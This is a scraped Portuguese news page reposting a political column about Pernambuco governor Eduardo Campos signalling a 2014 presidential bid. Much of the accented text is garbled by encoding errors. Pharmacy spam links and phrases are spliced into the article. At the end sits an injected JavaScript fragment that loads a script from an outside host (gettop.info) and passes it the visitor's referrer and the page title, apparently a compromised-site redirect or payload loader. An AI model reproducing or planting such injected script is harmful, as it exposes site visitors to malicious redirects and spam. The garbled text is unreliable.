A DORA, CAMPOS TAMBAi??M SINALIZA CANDIDATURA
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BRASIL 247
Numa conversa rA?pida com a colunista do EstadA?o, governador pernambucano insinua que o PT nA?o cumpre acordos desde 1989; segundo ela, Eduardo Campos estA? “caminhando e cantando na direAi??A?o da candidatura”
247 – Nesta manhA?, o lAi??der do PSB na CA?mara, Beto Albuquerque, jA? anunciou que o governador pernambucano, Eduardo Campos, Ai?? candidato Ai?? presidA?ncia da RepA?blica. Numa conversa com a jornalista Dora Kramer, o prA?prio Campos sinalizou a disposiAi??A?o em disputar o cargo. Leia abaixo:
O Estado de S.Paulo
http://paris.od.ua/buy-ventolin-inhaler-at-asda/ cheap pills Semeadura – DORA KRAMER
Essa conversa do PT de prometer apoio a Eduardo Campos na disputa presidencial de 2018 em troca da manutenAi??A?o da alianAi??a em 2014, com Dilma Rousseff ou com o ex-presidente Lula, nA?o convence o governador de Pernambuco.
“Tem gente que ainda espera o cumprimento de compromissos firmados em 1989”, diz ele expondo a descrenAi??a de quem viu recentemente o PT romper um acordo na eleiAi??A?o municipal de 2012, deixando a ele a A?nica opAi??A?o de lanAi??ar um candidato do PSB no Recife. Partiu para um confronto que se reproduziria em outras capitais e deixaria arestas com os petistas.
NA?o todos. Com Dilma e Lula mantAi??m bom diA?logo. Em verdade, mais com ela que com ele. “NA?o falo com Lula desde o ano passado.”
Recebe recados, porAi??m. Ora os mensageiros dizem que o ex-presidente compreende sua posiAi??A?o na disputa pela Prefeitura de Recife, na qual venceu o PT, ora transmitem o desejo de Lula de vA?-lo como vice em 2014.
Eduardo Campos renova sua convicAi??A?o de que nA?o tem “temperamento” para vice. Disse isso ao pretendente tucano, senador AAi??cio Neves, mas nA?o tratou do assunto com a presidente nem com Lula.
Ao menos nA?o diretamente. Mas, se nA?o rejeitou explicitamente a vaga de vice, tambAi??m nunca falou a nenhum dos dois que nA?o seria candidato a presidente na prA?xima eleiAi??A?o.
Em janeiro, Campos teve duas conversas com a presidente. Uma no dia 6 de janeiro, na Bahia. Estava junto o governador Jaques Wagner e a temA?tica nA?o incluiu polAi??tica: “Falamos de filmes, livros e firulas”.
Menos de dez dias depois, um novo encontro em BrasAi??lia, a sA?s, permitiu um diA?logo mais “denso”. Uma conversa cifrada e “inteligente”. Dilma de inAi??cio avisou que nada do que viesse a acontecer poderia interferir na amizade dos dois.
E tomou a iniciativa de tangenciar o assunto tabu, dizendo que um dia o interlocutor estaria no lugar que hoje ela ocupa. “NA?o sei quando vai ser, mas o que eu preciso Ai?? que me ajude a ganhar o ano de 2013”, acrescentou.
O governador falou francamente sobre os problemas da economia, da relaAi??A?o com Estados e municAi??pios, da necessidade de o governo se abrir ao diA?logo com todos os setores.
No fim, saiu de lA? achando o seguinte: hA? um time no PT que quer tratA?-lo como adversA?rio eleitoral desde jA?, mas que Dilma Rousseff vA? o panorama de forma diferente.
Sabe que a decisA?o de Eduardo Campos sair ou nA?o candidato em 2014 nA?o depende dela, do PT, nem de Lula, mas do PSB. “Ela tem perfeita noAi??A?o de que nA?o pode interferir e, portanto, nA?o hA? razA?o para se precipitar e muito menos entrar numa disputa que nA?o estA? posta”.
NA?o estA? posta formalmente. Na prA?tica, o governador estA? “caminhando e cantando” na direAi??A?o da candidatura, cujas condiAi??Ai??es objetivas comeAi??aram a se apresentar depois do bom desempenho do PSB nas eleiAi??Ai??es municipais.
“O partido cresceu mais do que a gente esperava, a imprensa deu repercussA?o, criou-se um clima e isso animou o ambiente.” Ao ponto de o PSB se sentir estimulado a lanAi??ar candidato Ai?? presidA?ncia da CA?mara no intuito de, mesmo na base governista, se diferenciar do PT e do PMDB.
Saiu melhor que a encomenda: conseguiu 165 votos e ainda marcou a diferenAi??a em relaAi??A?o Ai?? timidez da oposiAi??A?o oficial.
E de agora em diante, quais os passos? “HA? os que posso contar e os que nA?o posso revelar”, diz o governador.
Contentemo-nos, por enquanto, com os permitidos: usar o tempo de televisA?o do partido, procurar possAi??veis aliados (aqui uma referA?ncia explAi??cita ao PPS), viajar muito Brasil afora, prospectar possibilidades de alianAi??as nas eleiAi??Ai??es estaduais, ganhar tempo e, sobretudo, estar atento Ai?? oportunidade de ocupar todos os espaAi??os – disponAi??veis ou nA?o. buy cafergot suppositories can i buy tetracycline over the counter s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;